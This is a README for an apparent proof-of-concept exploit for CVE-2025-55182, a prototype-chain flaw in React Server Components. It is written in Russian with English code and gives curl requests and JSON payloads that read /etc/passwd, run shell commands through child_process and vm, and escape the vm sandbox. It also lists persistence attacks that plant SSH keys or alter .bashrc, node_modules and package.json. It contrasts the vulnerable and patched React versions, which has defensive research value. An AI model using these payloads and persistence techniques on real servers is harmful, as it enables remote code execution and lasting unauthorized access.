Эксплойт концепции для CVE-2025-55182, демонстрирующий удаленное выполнение кода через уязвимость в цепочке прототипов в React Server Components. Включает несколько RCE-гаджетов и атаки для сохранения доступа.
Этот POC демонстрирует CVE-2025-55182 с использованием реального уязвимого кода [email protected].
# Install dependencies
npm install
# Start vulnerable server (port 3002)
npm start
# Run RCE exploit
npm run exploit
=== CVE-2025-55182 - RCE via vm.runInThisContext ===
Test 1: Direct call to vm#runInThisContext with code
1+1 = {"success":true,"result":"2"}
Test 2: vm.runInThisContext with require
RCE attempt: {"success":true,"result":"uid=501(nick) gid=20(staff)..."}
# Servers
npm start # Start main server (server-realistic.js, port 3002)
npm run start:legacy # Start legacy server (server.js, port 3002)
# Exploits
npm run exploit # RCE demo (uses vm, works with any: vm, child_process, fs)
npm run exploit:all # Test all gadgets
npm run exploit:persistence # Persistence attacks (fs-only)
# Start server first
npm start
# Test fs read
curl -X POST http://localhost:3002/formaction \
-F '$ACTION_REF_0=' \
-F '$ACTION_0:0={"id":"fs#readFileSync","bound":["/etc/passwd","utf8"]}'
# Test command execution
curl -X POST http://localhost:3002/formaction \
-F '$ACTION_REF_0=' \
-F '$ACTION_0:0={"id":"child_process#execSync","bound":["whoami"]}'
# Test vm code execution
curl -X POST http://localhost:3002/formaction \
-F '$ACTION_REF_0=' \
-F '$ACTION_0:0={"id":"vm#runInThisContext","bound":["1+1"]}'
# Test prototype chain access
curl -X POST http://localhost:3002/formaction \
-F '$ACTION_ID_abc123def456#constructor='
| Файл | Порт | Описание |
|---|---|---|
src/server-realistic.js | 3002 | Основной сервер - имитирует webpack-бандл с общими модулями (fs, vm, child_process) |
src/server.js | 3002 | Устаревший сервер (использует прямой require) |
| Файл | Описание |
|---|---|
exploit-rce-v4.js | Основной RCE через vm#runInThisContext |
exploit-all-gadgets.js | Тестирует все RCE-гаджеты (vm, child_process, fs) |
exploit-persistence.js | Атаки сохранения (SSH-ключи, .bashrc) |
Имитирует реальный webpack-бандл, где приложения обычно включают опасные модули через зависимости:
// Bundled modules (what gets included when using common packages)
const BUNDLED_MODULES = {
'actions-chunk-123': { /* user's server actions */ },
'fs': require('fs'), // via fs-extra, gray-matter, multer
'child_process': require('child_process'), // via execa, shelljs, puppeteer
'vm': require('vm'), // via ejs, pug, handlebars
'util': require('util'),
};
Функция __webpack_require__ загружает модули только из BUNDLED_MODULES, имитируя поведение реального webpack.
В requireModule() доступ к экспортам осуществляется через скобочную нотацию без проверки hasOwnProperty:
// VULNERABLE (React 19.0.0)
return moduleExports[metadata[2]]; // Accesses prototype chain!
// PATCHED (React 19.2.1)
if (hasOwnProperty.call(moduleExports, metadata[2]))
return moduleExports[metadata[2]];
$ACTION_REF_0 с метаданными связанного действияid: 'vm#runInThisContext' загружает модуль vm, получает доступ к экспорту runInThisContextbound становится аргументами функцииrunInThisContext(CODE) выполняет произвольный код| Гаджет | Статус | Описание |
|---|---|---|
vm#runInThisContext | ✓ | Выполнение произвольного JS в текущем контексте |
vm#runInNewContext | ✓ | Выполнение в «песочнице» (легко обходится) |
child_process#execSync | ✓ | Прямое выполнение команд оболочки |
child_process#execFileSync | ✓ | Выполнение бинарных файлов |
child_process#spawnSync | ✓ | Запуск процесса (возвращает объект) |
fs#readFileSync | ✓ | Чтение произвольных файлов |
fs#writeFileSync | ✓ | Запись произвольных файлов |
Выполнить команду оболочки (whoami):
{ id: 'child_process#execSync', bound: ['whoami'] }
Чтение конфиденциальных файлов:
{ id: 'fs#readFileSync', bound: ['/etc/passwd'] }
Запись файлов на диск:
{ id: 'fs#writeFileSync', bound: ['/tmp/pwned.txt', 'CVE-2025-55182'] }
Выполнение произвольного JavaScript:
{
id: 'vm#runInThisContext',
bound: ['process.mainModule.require("child_process").execSync("id").toString()']
}
Побег из песочницы (vm.runInNewContext):
{
id: 'vm#runInNewContext',
bound: ['this.constructor.constructor("return process")().mainModule.require("child_process").execSync("whoami").toString()']
}
Для прямого RCE: Да, нужен один из:
vm (runInThisContext, runInNewContext)child_process (execSync, execFileSync, spawnSync)Для косвенного RCE (только fs): Нет! С помощью одного fs можно:
~/.ssh/authorized_keys → SSH-доступ~/.bashrc → выполнение кода при следующем входеnode_modules/* → RCE при перезапуске приложенияpackage.json → RCE при следующем npm install| Версия | Атака | Результат |
|---|---|---|
| React 19.0.0 | vm#runInThisContext | ✓ RCE достигнут |
| React 19.2.1 | vm#runInThisContext | ✗ Заблокировано |
cd /tmp/react-rsc-patched
npm install [email protected]
npm start
# Attacks will fail
См. VULNERABLE-PACKAGES.md для исследования популярных npm-пакетов, включающих опасные модули:
| Модуль | Еженедельные загрузки | Популярные пакеты |
|---|---|---|
fs | 145M+ | fs-extra, gray-matter, multer, sharp |
child_process | 103M+ | execa, shelljs, puppeteer, sharp |
vm | 21M+ | ejs, pug, handlebars, vm2 |